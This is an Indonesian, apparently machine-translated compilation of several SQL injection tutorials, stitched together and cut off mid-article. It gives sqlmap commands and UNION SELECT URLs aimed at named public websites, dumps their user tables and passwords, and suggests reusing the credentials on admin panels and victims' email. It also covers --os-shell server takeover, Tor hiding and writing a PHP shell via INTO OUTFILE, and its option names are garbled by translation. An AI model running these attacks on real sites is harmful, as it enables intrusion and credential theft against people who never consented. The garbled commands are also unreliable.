Mengisi shell menggunakan injeksi sql. Isi cangkangnya. Kemungkinan masalah saat memindai sqlmap

Apa itu sqlmap dan untuk apa?

Program ini memungkinkan Anda memeriksa situs untuk kerentanan injeksi SQL, kerentanan XSS, dan juga mengeksploitasi injeksi SQL. Berbagai jenis injeksi SQL dan beragam database didukung.

Apa yang dapat Anda lakukan dengan sqlmap

Dengan sqlmap Anda dapat:

  • periksa apakah situs web memiliki kerentanan

Jika situs rentan terhadap injeksi SQL, maka kemungkinan:

  • menerima informasi dari database, termasuk membuang (seluruh) database
  • mengubah dan menghapus informasi dari database
  • mengunggah shell (pintu belakang) ke server web

Salah satu skenario untuk menggunakan sqlmap:

  • Mendapatkan nama pengguna dan kata sandi dari database
  • Cari panel administrasi situs (panel admin)
  • Masuk ke panel admin dengan login dan kata sandi yang diterima

Jika terdapat kerentanan, serangan dapat berkembang ke berbagai arah:

  • Modifikasi data
  • Mengisi pintu belakang
  • Menyuntikkan kode JavaScript untuk mendapatkan data pengguna
  • Menerapkan kode untuk menghubungkan BeEF

Seperti yang bisa kita lihat, injeksi SQL adalah kerentanan yang sangat berbahaya yang memberikan peluang besar bagi penyerang.

Memeriksa situs web menggunakan sqlmap

Jika situs menerima data dari pengguna menggunakan metode GET (ketika nama variabel dan data yang dikirimkan terlihat di bilah alamat browser), maka Anda harus memilih alamat halaman tempat variabel ini berada hadiah. Itu muncul setelah tanda tanya ( ? ), Misalnya:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Di alamat pertama, nama variabelnya adalah pengenal, dan nilai yang diteruskan adalah 8 . Di alamat kedua nama variabelnya juga pengenal, dan nilai yang ditransmisikan 22 . Pada contoh ketiga, nama variabelnya sama, tetapi nilai yang diteruskannya sama hal_36. Nama variabel yang sama merupakan pencocokan acak untuk situs yang berbeda, bisa apa saja, data yang dikirimkan bisa apa saja, bisa ada beberapa variabel yang nilainya dipisahkan dengan simbol & .

Jika kita ingin memeriksa apakah variabel id rentan terhadap injeksi SQL, maka kita perlu memasukkan seluruh alamat - http://www.dwib.org/faq2.php?id=8 (bukan http://www.dwib .org /faq2.php atau http://www.dwib.org).

Perintah untuk memeriksa variabel yang dilewatkan oleh metode GET sangat sederhana:

Sqlmap -u alamat_situs

Untuk situs-situs ini perintahnya adalah:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Selama proses verifikasi, sqlmap mungkin menanyakan berbagai pertanyaan dan Anda harus menjawabnya kamu(yaitu Ya) atau N(yaitu Tidak). Huruf y dan n bisa kapital atau kecil. Huruf kapital berarti pilihan default, jika setuju maka tekan saja Enter.

Contoh situasi dan pertanyaan:

Heuristik mendeteksi bahwa target dilindungi oleh semacam WAF/IPS/IDS. Apakah Anda ingin sqlmap mencoba mendeteksi WAF/IPS/IDS backend?

Heuristik menentukan bahwa target dilindungi oleh beberapa jenis WAF/IPS/IDS. Apakah Anda ingin sqlmap mencoba menentukan nama WAF/IPS/IDS?

Permintaan favorit saya:

Tes heuristik (dasar) menunjukkan bahwa parameter GET "id" mungkin dapat disuntikkan (kemungkinan DBMS: "MySQL") pengujian untuk injeksi SQL pada parameter GET "id" sepertinya DBMS back-end adalah "MySQL". Apakah Anda ingin melewati muatan pengujian khusus untuk DBMS lain?

Intinya heuristik sudah menentukan parameternya mungkin rentan dan DBMS jarak jauh sudah teridentifikasi, kita ditanya apakah ingin melanjutkan pengecekan. Dan pada screenshot kedua, situs tersebut juga rentan terhadap XSS.

Jika Anda ingin mengotomatiskan proses sehingga sqlmap tidak menanyakan Anda setiap saat, tetapi menggunakan pilihan default (selalu ada opsi yang lebih baik), Anda dapat menjalankan perintah dengan opsi --kelompok:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Kemungkinan masalah saat memindai sqlmap

Kesalahan berikut mungkin muncul:

Waktu koneksi ke URL target habis. sqlmap akan mencoba kembali permintaan tersebut jika masalah terus berlanjut, harap periksa apakah URL target yang diberikan valid. Jika ya, Anda dapat mencoba menjalankannya kembali dengan sakelar "--random-agent" dihidupkan dan/atau sakelar proxy ("--ignore-proxy", "--proxy",...)

Artinya website tidak mau “berbicara” dengan sqlmap. Sebagai opsi, kami ditawari untuk menggunakan --agen-acak. Jika Anda dapat melihat situs tersebut di browser, tetapi sqlmap menulis tentang ketidakmungkinan koneksi, maka situs tersebut mengabaikan permintaan, dengan fokus pada agen pengguna. Opsi --random-agent mengubah nilai sqlmap standar menjadi acak:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Alasan lain untuk kesalahan ini mungkin karena IP Anda diblokir oleh suatu situs web - maka Anda perlu menggunakan proxy. Jika Anda sudah menggunakan proxy dan kesalahan ini muncul, mungkin proxy tersebut mengalami masalah komunikasi dan Anda harus mencoba tanpanya.

hasil pemindaian sqlmap

Suntikan SQL yang terdeteksi ditampilkan sebagai berikut:

Itu. disorot dengan warna hijau tebal, nama parameter rentan ditulis, jenis kerentanan SQL dan ada kata dapat disuntikkan.

Mendapatkan daftar database dengan sqlmap

Untuk mendapatkan daftar database, gunakan opsi --dbs. Contoh:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Mengambil informasi dari database

Misalnya, dua database ditemukan untuk situs wellerpools.com:

[*] skema_informasi [*] main_wellerpools

Saya ingin mengetahui daftar tabel di database main_wellerpools. Untuk melakukan ini, gunakan opsi --tabel. Selain itu, kita perlu menunjukkan tabel yang kita minati setelah opsi -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Daftar tabel:

Untuk beberapa alasan, saya ingin mengetahui daftar kolom dari tabel pengguna. Untuk melakukan ini, gunakan opsi --kolom. Selain itu, kita perlu menunjukkan database yang kita minati ( -D main_wellerpools) dan setelah kuncinya -T tabel yang ingin kita lihat daftar kolomnya:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T pengguna --kolom

Untuk menampilkan konten, gunakan opsi --membuang. Itu dapat ditentukan bersama dengan database, dan kemudian seluruh database akan dibuang, atau Anda dapat membatasi data ke satu tabel atau bahkan satu kolom. Dengan perintah berikut saya ingin melihat isi seluruh tabel pengguna:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T pengguna --dump

Lihatlah kata sandinya - setelah diperiksa sekilas, saya pikir itu adalah hash. Admin benar-benar berusaha membela diri, tetapi tidak membantu mereka.

Omong-omong, karena parameter yang menerima data yang dikirim dengan metode GET rentan, Anda dapat membuat permintaan langsung di baris browser sedemikian rupa sehingga login dan kata sandi pengguna akan ditampilkan langsung di situs itu sendiri:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(nama_pengguna,0x3a,pengguna_pwd),3,4,5,6,7,8,9, 10+dari+pengguna--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+dari+pengguna--

Itu. Kami memiliki nama pengguna, kata sandi, dan email pengguna (dan kemungkinan besar bahkan administrator) situs tersebut. Jika Anda dapat menemukan panel administratif situs, Anda dapat memperoleh kendali atas situs atau server web. Mengingat kecintaan pengguna terhadap kata sandi yang sama dan mengetahui kotak surat mereka, Anda dapat mencoba meretas email mereka.

Secara umum, injeksi SQL adalah kerentanan yang sangat berbahaya.

SQL Injection adalah jenis serangan di mana penyerang memodifikasi logika kueri SQL aplikasi web, memungkinkannya membaca/memodifikasi/menghapus nilai dalam database dan terkadang mengeksekusi kode arbitrer di sisi server. Artikel ini akan membahas utilitas sqlmap populer untuk melakukan injeksi SQL.

Saat ini, jenis kerentanan ini adalah yang paling berbahaya. Selama 7 tahun, lini terdepan “OWASP TOP-10” telah dipimpin oleh injeksi SQL.

Ada 5 alasan utama kerentanan ini:

  1. Validasi parameter input tidak mencukupi atau kurang, terutama input pengguna. “Parameter masukan apa pun itu jahat”
  2. Akses ke database yang tidak masuk akal dan tidak terlindungi dengan baik. Kategori ini mencakup faktor-faktor seperti: banyaknya administrator dan pengguna super (root), sistem otentikasi yang lemah, banyaknya hak untuk administrator sekunder, dll.
  3. Arsitektur. Penggunaan teknologi yang sudah ketinggalan zaman, kurangnya tindakan pengendalian, pengabaian metodologi “pemodelan ancaman”.
  4. Keturunan kode yang jelas rentan, penggunaan solusi siap pakai dengan tingkat keamanan rendah.
  5. Kurangnya tingkat abstraksi kode yang dapat dieksekusi dari data.

SQLMap.

Jenis injeksi SQL.

Mari kita lihat jenis injeksi SQL yang dieksploitasi oleh utilitas SQLMap:

  1. Injeksi SQL Buta Berbasis Boolean
    • Sebuah metode di mana permintaan dan tanggapan HTTP dibaca karakter demi karakter untuk mendeteksi kerentanan.
    • Setelah parameter rentan terdeteksi, SQLMap mengganti atau menambahkan pernyataan SQL yang benar secara sintaksis sambil menunggu server merespons dengan mengeksekusi kode tersebut.
    • SQLMap membandingkan permintaan valid asli dengan respons dari permintaan dengan kode berbahaya yang tertanam.
    • SQLMap menggunakan algoritma bagi dua ( dua bagian algoritma) untuk mengambil setiap karakter respons menggunakan maksimal tujuh permintaan HTTP.
    • Jika jawabannya tidak diberikan dalam teks murni, SQLMap mengadaptasi algoritma dengan nilai yang lebih besar untuk menentukan jawabannya.
  2. Injeksi SQL Buta Berbasis Waktu
    • Metode Berbasis Waktu sendiri mengasumsikan bahwa ada beberapa perbandingan berdasarkan waktu permintaan dan respons dengan memasukkan pernyataan SQL yang benar secara sintaksis ke dalam parameter rentan.
    • SQLMap menggunakan pernyataan SQL yang menunda database untuk kembali selama jangka waktu tertentu.
    • Menggunakan algoritma dua bagian yang sama untuk menghasilkan karakter demi karakter, SQLMap membandingkan waktu respons HTTP dengan permintaan asli.
  3. Injeksi SQL Berbasis Kesalahan
    • SQLMap menggunakan pernyataan SQL yang dapat menyebabkan kesalahan tertentu dihasilkan.
    • Utilitas mencari kesalahan dalam respons HTTP server.
    • Metode ini hanya berfungsi jika aplikasi web dikonfigurasi untuk mengungkapkan pesan kesalahan.
  4. Permintaan UNION
    • Masukkan pernyataan SQL UNION SEMUA PILIH .
    • Injeksi SQL berdasarkan kueri UNION bekerja berdasarkan perilaku aplikasi, mis. ketika aplikasi meneruskan hasil kueri SELECT tertulis melalui loop atau baris instruksi tertentu yang memungkinkan keluaran ditulis ke konten halaman.
    • Jika output tidak diulang melalui loop apa pun untuk atau rangkaian pernyataan lainnya, SQLMap menggunakan injeksi kueri UNION satu kali.
  5. Kueri Bertumpuk
    • Menggunakan kueri terlipat. SQLMap menambahkan titik koma (;) ke nilai parameter yang terpengaruh dan menambahkan pernyataan SQL yang perlu dijalankan.
    • Dengan menggunakan teknik ini, Anda dapat mengeksekusi pernyataan SQL selain SELECT. Ini berguna untuk memanipulasi data, mendapatkan akses baca dan tulis, dan akhirnya ditangkap oleh sistem operasi.
  6. Di Luar Band
    • Metode ini menggunakan saluran komunikasi sekunder atau lainnya untuk menampilkan hasil kueri yang dijalankan pada aplikasi yang terpengaruh.
    • Misalnya penyisipan dilakukan di aplikasi web dan saluran sekunder seperti Kueri DNS, digunakan untuk meneruskan data kembali ke domain penyerang.

Penggunaan dasar SQLMap.

Luncurkan utilitas (harus ada dalam variabelJALUR ):

$sqlpeta

Atau dari direktori utilitas:

$python sqlmap.py

Untuk memanggil dokumentasi, gunakan kuncinya «- H / — membantu »:

$ sqlmap --membantu $ python sqlmap.py –membantu

Tindakan kunci SQLMap sepenuhnya bergantung pada apa yang ingin dicapai penyerang. Daftar dasar tindakan SQLMap terlihat seperti ini:

  • Cantumkan informasi database seperti nama, versi, dan detail lainnya.
  • Pilih database tertentu untuk mencantumkan informasi tentang tabel yang dikandungnya.
  • Pilih tabel dan daftar informasi kolom.
  • Pilih kolom dan buat daftar baris untuk mengambil nilainya.
  • Eksploitasi lebih lanjut.

Praktik.

Untuk pelatihan praktis kami akan kami gunakan Berengsek Rentan jaring Aplikasi (DVWA atau "Aplikasi web yang sangat rentan").

DVWA adalah aplikasi web gratis yang dibangun dengan teknologi seperti PHP dan MySQL, dirancang untuk melatih keterampilan pentesting.

Sekarang kami hanya tertarik pada suntikan, tetapi secara umum, Anda dapat menguji kemampuan Anda pada kerentanan lain yang dibuat berdasarkan yang resmi OWASP ATAS -10 .

P.S.: Praktek ini mengasumsikan bahwa Anda memiliki pengetahuan tentang dasar-dasar Linux, tingkat awal bahasa Inggris dan kemampuan menggunakan Google (jika Anda tidak memiliki keterampilan di atas).

Instalasi:

  • Unduh aplikasinya dan ikuti instruksinya;
  • Ubah tingkat kesulitan menjadi RENDAH;
  • Kami hanya tertarik pada tab “SQL Injection”;

Data awal:

  • Server web di jaringan pribadi
  • URL Rentan: http:// milikmu tuan rumah . com /dvwa/kerentanan/sqli/?id=1&Submit=Kirim#
  • Parameter yang rentan: pengenal

Jadi mari kita mulai:

  1. Kami mengkonfirmasi ketersediaanSQL suntikan:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Penjelasan perintah:

— url – URL dengan parameter yang dianggap rentan. Penting untuk dicatat bahwa variabel untuk kunci ini ditulis dalam tanda kutip, karena URL yang diperiksa memiliki lebih dari satu parameter yang diteruskan. Jika tidak, Anda dapat mengabaikan tanda kutip dan menggunakan kunci versi pendek “- kamu tanpa tanda sama dengan .

- cookie – Cookie sesi untuk akses langsung selama serangan (kunci opsional).

Kesimpulan:

Analisis:

  • Aplikasi ini rentan terhadap injeksi SQL
  • Jenis injeksi – Kueri UNION
  • Basis data ujung belakang (DBMS) – MySQL5
  • Detail teknis OS - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Kami mencantumkan nama database:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Penjelasan perintah:

—dbs – kunci untuk membuat daftar database yang tersedia.

Kesimpulan:

Analisis: SQLMap mencantumkan database yang tersedia (total 7).

  1. Kami mencantumkan nama tabel (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tabel

Penjelasan perintah:

-D – Tentukan database yang kita minati.

--tabel – Daftar tabel yang tersedia di database.

Kesimpulan:

Analisis: Seperti yang bisa kita lihat, SQLMap berhasil mencantumkan nama 2 tabel di database dvwa .

  1. Daftar lebih lanjut nama kolom tabel “pengguna ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T pengguna –kolom

Penjelasan perintah:

-T – Tunjukkan tabel yang kita minati.

—kolom – Mencantumkan kolom yang tersedia di tabel.

Kesimpulan:

Analisis: Seperti yang bisa kita lihat, SQLMap berhasil mencantumkan nama 6 kolom dalam tabel pengguna, bd dvwa .

  1. Kami mencantumkan/menarik nilai dari tabel “pengguna ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T pengguna -C user_id,pengguna,kata sandi --dump

Penjelasan perintah:

C – Tunjukkan kolom yang menarik minat kita.

--dump – Membuang nilai dari kolom yang terdaftar.

Kesimpulan:

Analisis: Berdasarkan respons SQLMap, kami mencatat hal-hal berikut:

  • SQLMap mengambil catatan dari kolom tertentu dan kemudian menganalisis data yang terdapat dalam kolom tersebut.
  • Setelah data dikenali sebagai kemungkinan hash kata sandi, SQLMap mencoba memecahkan hash tersebut menggunakan berbagai algoritma hashing.
  • Dalam hal ini, hashnya adalah MD5, jadi dengan teknik hash pertama yang digunakan alat ini, ia berhasil memecahkan hash dan menghasilkan respons yang diformat dengan baik.
  • Selain itu, alat ini menyimpan entri yang terdaftar dalam format file “.csv” untuk digunakan di masa mendatang; Jadi Anda tidak perlu membuang data ke dalam file teks atau mengambil tangkapan layar, SQLMap akan mengurusnya.
  1. Eksploitasi lebih lanjut dan pengambilalihan server (A.S.P. , tidak termasukDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Penjelasan perintah:

—data – Tentukan parameter untuk pengujian yang dikirim dalam permintaan POST.

—os —shell – Kunci khusus untuk mencoba mengeksploitasi konsol server melalui injeksi SQL.

Kesimpulan:

Analisis: Berdasarkan respons SQLMap, kami mencatat hal-hal berikut:

  • Setelah mengkonfirmasi dan mengeksploitasi injeksi SQL, SQLMap memeriksa apakah pengguna adalah DBA (Administrator Basis Data).
  • Alat tersebut kemudian mencoba menggunakan prosedur tersimpan yang diperluas - "xp_cmdshell", yang umumnya digunakan oleh SQL Server 2000.
  • "xp_cmdshell" digunakan untuk menjalankan baris perintah yang diberikan sebagai perintah sistem operasi. Pada gilirannya, ini menampilkan hasilnya sebagai teks standar.

Manfaat mendapatkan tingkat akses sistem yang lebih dalam:

  • Akses ke kredensial pengguna atau hash kata sandi.
  • Shell interaktif yang memungkinkan Anda mengunggah atau mengunduh file dari server.
  • Jalankan perintah sumbu (OS) untuk menjelajahi jaringan internal.
  • Kemampuan untuk mengunduh malware.
  • Eksploitasi lebih lanjut menggunakan Metasploit Framework.
  • Pembuatan dan pengisian pintu belakang.

Praktik terbaik dan penggunaan tingkat lanjut.

  1. SQLMap DanSABUN MANDI (Sederhana Obyek Mengakses Protokol ) permintaan: Proses parsing permintaan SOAP cukup sederhana:
    • Tangkap permintaan SOAP Anda.
    • Menyimpannya ke file teks bersama dengan kemungkinan parameter rentan.
    • Gunakan perintah di bawah ini untuk SQLMap bersama dengan opsi -p jika Anda mengetahui parameter rentannya:
$ ./sqlmap.py -r Jadi_request.txt -p
    • SQLMap akan secara otomatis mengurai permintaan SOAP dan mencoba menembus parameter yang rentan.
  1. SQLMap DanJSON (JavaScript Obyek Notasi ) permintaan: Dalam skenario serupa untuk menggunakan SQLMap untuk kueri SOAP, kueri JSON juga dapat dianalisis dan dieksploitasi. Untuk tipe kueri JSON, SQLMap akan meminta Anda mengeksploitasi kerentanan dengan mendeteksi tipe kueri JSON di "file kueri". Setelah Anda menjawab ya, alat tersebut akan menganalisis permintaan tersebut dan memilih vektor serangannya sendiri.
  2. SQLMap dan server proksi: Jenis jaringan perusahaan biasanya diamankan dan dipantau menggunakan proxy terkontrol untuk semua lalu lintas masuk atau keluar. Dalam kasus seperti itu, Anda memiliki opsi untuk menambahkan opsi proksi langsung ke opsi SQLMap untuk berkomunikasi dengan URL target. Meskipun SQLMap adalah alat baris perintah, ia berkomunikasi melalui protokol HTTP, oleh karena itu jika Anda menyetel proksi HTTP untuk koneksi Internet yang sesuai, SQLMap akan menggunakannya sebagai dasar:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap DanWAF (jaring Aplikasi tembok api ): WAF adalah lapisan perlindungan tambahan untuk aplikasi web, yang secara signifikan mempersulit analisis dan pengoperasian menggunakan metode standar yang tersedia di SQLMap. Untuk tujuan ini, terdapat fungsi “tamper -script”, yang sangat menyederhanakan pekerjaan dengan aplikasi web yang terletak di belakang WAF.
  2. SQLMap dan anonimitas: Jika Anda ingin menyembunyikan identitas Anda dan menyamar sebagai aplikasi target, Anda dapat menggunakan server proxy TOR (The Onion Router). Di SQLMap Anda dapat mengonfigurasi proksi TOR untuk menyembunyikan sumber asal lalu lintas atau permintaan dengan kunci berikut:
    • untuk mengalihkan utilitas ke mode proxy TOR.
    • untuk jenis konfigurasi manual protokol proxy TOR (HTTP /SOCKS 4/4a /5).
    • memeriksa untuk memeriksa fungsionalitas proxy TOR

Salam, pembaca. Akhir-akhir ini, saya tertarik pada keamanan Web, dan sampai batas tertentu pekerjaan saya terkait dengan hal ini. Karena Semakin sering saya mulai memperhatikan topik di berbagai forum yang meminta mereka menunjukkan cara kerjanya, jadi saya memutuskan untuk menulis artikel. Artikel ini ditujukan bagi mereka yang belum pernah mengalami hal ini, tetapi ingin mempelajarinya. Ada banyak artikel tentang topik ini di Internet, tetapi bagi pemula, artikel ini agak rumit. Saya akan mencoba menjelaskan semuanya dalam bahasa yang jelas dan contoh yang detail.

Kata pengantar

Untuk memahami artikel ini, Anda tidak terlalu membutuhkan pengetahuan tentang bahasa SQL, tapi setidaknya kesabaran yang baik dan sedikit otak untuk menghafalnya.

Saya yakin membaca artikel saja tidak cukup, karena... kita membutuhkan contoh hidup - seperti yang Anda tahu, latihan dalam proses menghafal tidak pernah berlebihan. Oleh karena itu, kami akan menulis skrip yang rentan dan melatihnya.

Apa itu injeksi SQL?
Secara sederhana, ini adalah serangan terhadap database yang memungkinkan Anda melakukan beberapa tindakan yang tidak direncanakan oleh pembuat skrip. Contoh dari kehidupan:

Ayah menulis surat kepada ibunya untuk memberi Vasya 100 rubel dan menaruhnya di atas meja. Mengolahnya kembali menjadi bahasa komik SQL, kita mendapatkan:
MENGAMBIL 100 RUBEL DARI DOMPET ANDA DAN MEMBERIKANNYA KEPADA Vasya

Karena sang ayah menulis catatan itu dengan buruk (tulisan tangan kikuk) dan meninggalkannya di atas meja, saudara laki-laki Vasya, Petya, melihatnya. Petya, sebagai seorang hacker, menambahkan “ATAU Pete” di sana dan hasilnya adalah permintaan berikut:
MENGAMBIL 100 RUBEL DARI DOMPET ANDA DAN MEMBERIKANNYA KEPADA Vasya ATAU Petya

Ibu, setelah membaca catatan itu, memutuskan bahwa dia memberikan uang kepada Vasya kemarin dan memberikan 100 rubel kepada Petya. Berikut adalah contoh sederhana injeksi SQL dari kehidupan :) Tanpa memfilter data (Ibu hampir tidak dapat memahami tulisan tangannya), Petya mendapat untung.

Persiapan
Untuk latihan, Anda memerlukan arsip dengan skrip sumber untuk artikel ini. Unduh dan buka kemasannya di server. Impor juga database dan atur data dalam file cfg.php

Cari injeksi SQL

Seperti yang sudah Anda pahami, injeksi berasal dari data masuk yang tidak disaring. Kesalahan paling umum adalah tidak memfilter ID yang dikirimkan. Secara kasar, beri tanda kutip di semua bidang. Baik itu permintaan GET/POST atau bahkan Cookie!

Parameter masukan numerik
Untuk latihan kita membutuhkan naskah indeks1.php. Seperti yang saya katakan di atas, kami memasukkan tanda kutip ke dalam ID berita.

Karena Permintaan kami tidak memiliki pemfilteran:

$id = $_GET["id"]; $query = "PILIH * DARI berita DI MANA id=$id";

Script akan memahami ini sebagai

PILIH * DARI berita DIMANA id=1"

Dan itu akan memberi kita kesalahan:
Peringatan: mysql_fetch_array() mengharapkan parameter 1 menjadi sumber daya, boolean diberikan di C:\WebServ\domains\sqlinj\index1.php pada baris 16

Jika kesalahan tidak muncul, mungkin ada alasan berikut:

1.Injeksi SQL tidak ada di sini - kutipan difilter, atau layak untuk dikonversi (int)
2. Output kesalahan dinonaktifkan.

Jika Anda masih mendapatkan kesalahan - Hore! Kami menemukan jenis injeksi SQL pertama - Parameter input numerik.

Parameter masukan string

Kami akan mengirimkan permintaan ke indeks2.php. Dalam file ini, permintaannya terlihat seperti:
$pengguna = $_GET["pengguna"]; $query = "PILIH * DARI berita WHERE user="$user"";

Di sini kami memilih berita berdasarkan nama pengguna, dan sekali lagi, kami tidak memfilter.
Sekali lagi kami mengirimkan permintaan dengan penawaran:

Itu memberikan kesalahan. OKE! Artinya ada kerentanan. Sebagai permulaan, itu sudah cukup bagi kita - mari kita berlatih.

Mari kita ambil tindakan

Sedikit teori

Anda mungkin tidak sabar untuk mendapatkan sesuatu dari hal ini selain kesalahan. Pertama, pahami bahwa tanda " -- " dianggap sebagai komentar di SQL.

PERHATIAN! Harus ada spasi sebelum dan sesudahnya. Di URL mereka dikirimkan sebagai %20

Segala sesuatu yang muncul setelah komentar akan dibuang, yaitu permintaan:
PILIH * DARI berita WHERE user="AlexanderPHP" -- habrahabra

Ini akan berhasil. Anda dapat mencobanya pada skrip index2.php dengan mengirimkan permintaan seperti ini:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Pelajari parameternya PERSATUAN. Dalam bahasa SQL kata kuncinya PERSATUAN digunakan untuk menggabungkan hasil dua query SQL ke dalam satu tabel. Artinya, untuk mengeluarkan sesuatu yang kita butuhkan dari tabel lain.

Mari kita manfaatkan itu

Jika parameternya adalah “Numerik”, maka kita tidak perlu mengirimkan penawaran dalam permintaan dan tentu saja memberi komentar di akhir. Mari kita kembali ke naskah indeks1.php.

Mari kita beralih ke skrip sqlinj/index1.php?id=1 UNION SELECT 1 . Kueri basis data kami terlihat seperti ini:
PILIH * DARI berita WHERE id=1 UNION SELECT 1
Dan dia memberi kami kesalahan, karena... untuk bekerja dengan menggabungkan kueri, kita memerlukan jumlah bidang yang sama.

Karena Kita tidak bisa mempengaruhi jumlah mereka pada permintaan pertama, maka kita perlu memilih nomor mereka pada permintaan kedua agar sama dengan yang pertama.

Memilih jumlah bidang

Memilih bidang sangat sederhana, cukup kirimkan permintaan berikut:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Kesalahan…
sqlinj/index1.php?id=1 UNION PILIH 1,2,3
Kesalahan lagi!
sqlinj/index1.php?id=1 UNION PILIH 1,2,3,4,5
Tidak ada kesalahan! Artinya jumlah kolomnya adalah 5.

KELOMPOK OLEH
Seringkali ada 20 atau 40 atau bahkan 60 field, sehingga kita tidak perlu memilah-milahnya setiap saat, kita menggunakan KELOMPOK OLEH

Jika permintaan
sqlinj/index1.php?id=1 KELOMPOK OLEH 2
tidak muncul error apa pun, artinya jumlah fieldnya lebih dari 2. Mari kita coba:

Sqlinj/index1.php?id=1 KELOMPOK OLEH 8
Op, kita lihat ada error, berarti jumlah fieldnya kurang dari 8.

Jika tidak ada error pada GROUP BY 4, dan pada GROUP BY 6 terjadi error, maka jumlah fieldnya adalah 5

Mendefinisikan Kolom Keluaran
Untuk memastikan tidak ada yang ditampilkan kepada kami dari permintaan pertama, cukup dengan mengganti ID yang tidak ada, misalnya:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Dengan tindakan ini, kami menentukan kolom mana yang ditampilkan pada halaman. Sekarang, untuk mengganti nomor-nomor ini dengan informasi yang diperlukan, Anda perlu melanjutkan permintaan.

Keluaran data

Katakanlah kita tahu bahwa tabel tersebut masih ada pengguna di mana bidang tersebut berada pengenal, nama Dan lulus.
Kita perlu mendapatkan Informasi tentang pengguna dengan ID=1

Oleh karena itu, mari buat kueri berikut:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 DARI pengguna WHERE id=1
Script juga terus menghasilkan

Untuk melakukan ini, gantikan nama bidang dengan angka 1 dan 3

Sqlinj/index1.php?id=-1 UNION SELECT nama,2,pass,4,5 DARI pengguna WHERE id=1
Kami mendapatkan apa yang kami butuhkan!

Untuk "parameter input string" seperti pada skrip indeks2.php Anda perlu menambahkan tanda kutip di awal dan tanda komentar di akhir. Contoh:
sqlinj/index2.php?user=-1" UNION SELECT nama,2,pass,4,5 DARI pengguna WHERE id=1 --%20

Membaca/Menulis File

Untuk membaca dan menulis file, pengguna database harus memiliki hak FILE_PRIV.
Merekam file
Faktanya, semuanya sangat sederhana. Untuk menulis file, kita akan menggunakan fungsinya FILE KELUAR.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 KE OUTFILE "1.php" --%20
Hebat, file telah didaftarkan pada kami. Jadi, Kita dapat mengisi mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 KE OUTFILE "1.php" --%20
Membaca file
Membaca file bahkan lebih mudah daripada menulis. Cukup menggunakan fungsinya saja BEBAN_FILE, untuk tempat bidang yang kita pilih :

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Jadi, kita telah membaca file tertulis sebelumnya.

Metode perlindungan

Melindungi diri sendiri bahkan lebih mudah daripada mengeksploitasi kerentanan. Cukup filter datanya. Jika Anda meneruskan angka, gunakan
$id = (int) $_GET["id"];
Seperti yang disarankan pengguna malroc. Lindungi diri Anda menggunakan PDO atau pernyataan yang telah disiapkan.

Alih-alih selesai

Di sinilah saya ingin menyelesaikan bagian pertama saya tentang “injeksi SQL untuk pemula”. Pada bagian kedua kita akan melihat contoh suntikan yang lebih parah. Cobalah menulis skrip yang rentan dan jalankan sendiri kuerinya.
Dan ingat, jangan percayai pengguna mana pun di situs Anda.

Injeksi SQL adalah serangan yang mengeksploitasi pernyataan SQL dinamis dengan mengomentari bagian tertentu dari pernyataan atau menambahkan kondisi yang akan selalu benar. Ini menargetkan lubang dalam arsitektur aplikasi web dan menggunakan pernyataan SQL untuk mengeksekusi kode SQL berbahaya:

Pada artikel ini, kita akan melihat teknik yang digunakan dalam injeksi SQL dan cara melindungi aplikasi web dari serangan tersebut.

Cara kerja injeksi SQL

Jenis serangan yang dapat dilakukan menggunakan injeksi SQL bervariasi berdasarkan jenis mesin database yang terpengaruh. Serangan ini menargetkan pernyataan SQL dinamis. Pernyataan dinamis adalah pernyataan yang dibuat saat dijalankan berdasarkan parameter dari formulir web atau string kueri URI.

Pertimbangkan aplikasi web sederhana dengan formulir login. Kode formulir HTML di bawah ini:

  • Formulir menerima alamat email dan kemudian kata sandi dikirim ke file PHP bernama index.php;
